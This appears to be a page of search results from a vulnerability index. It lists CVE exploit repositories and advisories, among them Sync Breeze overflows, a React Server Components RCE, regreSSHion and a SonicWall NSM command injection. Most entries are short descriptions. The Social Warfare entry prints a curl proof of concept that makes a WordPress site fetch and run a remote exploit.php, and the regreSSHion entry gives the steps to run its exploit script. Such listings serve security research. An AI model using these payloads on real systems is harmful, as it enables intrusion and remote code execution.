322818 matches found
CVE-2018-6537.RCE
CVE-2018-6537 The exploit targets Sync Breeze running on Windows 10 x86, build: 16299 , affecting version 10.4.18 , where an unauthenticated attacker can perform a SEH overflow via a TCP-connection, resulting in remote code execution. This exploit assumes all security mitigations are disabled e.g...
CVE-2017-14980.RCE
CVE-2017-14980 The exploit targets Sync Breeze Enterprise running on Windows 10 x86, build: 16299 , affecting version 10.0.28 , where an unauthenticated attacker can perform a buffer overflow via an HTTP-request body , resulting in arbitrary code execution. This exploit assumes all security...
CVE-2025-55182
CVE-2025-55182 - React Server Components RCE Exploit Python CLI exploit for CVE-2025-55182, a critical RCE vulnerability in React Server Components via react-server-dom-webpack. Based on: ejpir/CVE-2025-55182-poc Quick Start Docker Testing Unpack src.zip zip -r src.zip src Build and run vulnerabl...
CVE-2023-0315
CVE-2023-0315 The official exploit for Froxlor Remote Code Execution CVE-2023-0315...
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress plugin RCE RCE on a Social Warfare Wordpress plugin without any prior authentication Proof Of Concept curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Vulnerable code : Fix:...
CVE-2025-66034-htb-ctf
CVE-2025-66034-htb-ctf VariaType Variable Font Generator Exploit This repository contains a specialized exploit for the VariaType machine on Hack The Box. The exploit leverages a vulnerability in how the fontTools library or the web application handles .designspace XML files and metadata...
cve-2021-41773-exploration
Overview CVE-2021-41773 is a path traversal vulnerability discovered in Apache HTTP Server 2.4.49 in October 2021. The root cause was a failure to properly normalize dot sequences ended into the URL before checking whether requested path stayed within the web root. This vulnerability allowed an...
PAN-OS-CVE-2024-3400-Command-Injection-Investigation
Investigating a PAN-OS CVE-2024-3400 Command Injection Attempt Overview This project documents the investigation of a CVE-2024-3400 command injection attempt targeting a PAN-OS GlobalProtect service. The goal was to determine: whether this is a real attack whether command execution occurred wheth...
CVE-2018-1273
CVE-2018-1273 Environment for CVE-2018-1273 CVE-2018-1273: RCE with Spring Data Commons https://pivotal.io/security/cve-2018-1273 Application https://github.com/spring-projects/spring-data-examples/tree/master/web/example Build $ docker build -t cve-2018-1273 . Run $ docker run -d -p 8080:8080...
CVE-2026-100232
Post-authentication Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability has been identified in the SonicWall Network Security Manager NSM on-prem which in specific conditions could potentially enable a remote authenticated attacker to execute...
CVE-2026-33017
CVE-2026-33017 Langflow RCE ā CVE-2026-33017 Langflow Remote Code Execution PoC ā https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7 Environment Setup Use the following commands to build and run the vulnerable Langflow environment: docker build -t...
CVE-2025-32432-exploit-by-P34NUT
CVE-2025-32432 ā Craft CMS Pre-Auth RCE Exploit Author: P34NUT2 Vulnerability: Remote Code Execution Pre-Authenticated in Craft CMS CVE: CVE-2025-32432 Target: Any vulnerable Craft CMS instance 3.x / 4.x / 5.x ā tested on Hack The Box: Orion ā ļø Disclaimer This tool is provided strictly for...
CVE-2025-25347
CVE-2025-25347 Overview This tool is used to test the vulnerability CVE-2025-25347 in QingLong Panel, an open-source platform for task automation management. This vulnerability allows Remote Code Execution RCE because the panel does not implement adequate input validation and access control on...
Dolibarr-17.0.0-Exploit-CVE-2023-30253
Readme.md CVE-2023-30253 CVE-2023-30253 is a security flaw in Dolibarr software that enables authenticated users to execute remote code by utilizing an uppercase manipulation technique in injected data. Impact This vulnerability can lead to unauthorized remote code execution by malicious actors,...
CVE-2025-55182
CVE-2025-55182 Host-based detection rules for the RCE vulnerability in the React JavaScript framework...
CVE-2024-6387
CVE-2024-6387 regreSSHion Proof of concept python script for regreSSHion exploit. Version 0.2.1 build POC Installation git clone https://github.com/l-urk/CVE-2024-6387.git cd CVE-2024-6387 pip3 install -r requirements.txt python3 regreSSHion.py -h Usage š CVE-2024-6387 regreSSHion remote code...
CVE-2018-19276
CVE-2018-19276 OpenMRS Insecure Object Deserialization RCE From https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607 Insecure object deserialization allows Arbitrary Code Execution without needing to log in. IP restrictions on Webservices module do not prevent thi...
EUVD-2026-101630
Post-authentication Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability has been identified in the SonicWall Network Security Manager NSM on-prem which in specific conditions could potentially enable a remote authenticated attacker to execute...
CVE-2026-100232
Post-authentication Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability has been identified in the SonicWall Network Security Manager NSM on-prem which in specific conditions could potentially enable a remote authenticated attacker to execute...
CVE-2026-100232
A post-authentication OS Command Injection vulnerability exists in the SonicWall Network Security Manager (NSM) on-prem (supporting VMWare, Hyper-V, Azure, and KVM). Due to improper neutralization of special elements used in an OS command, a remote authenticated attacker could execute arbitrary c...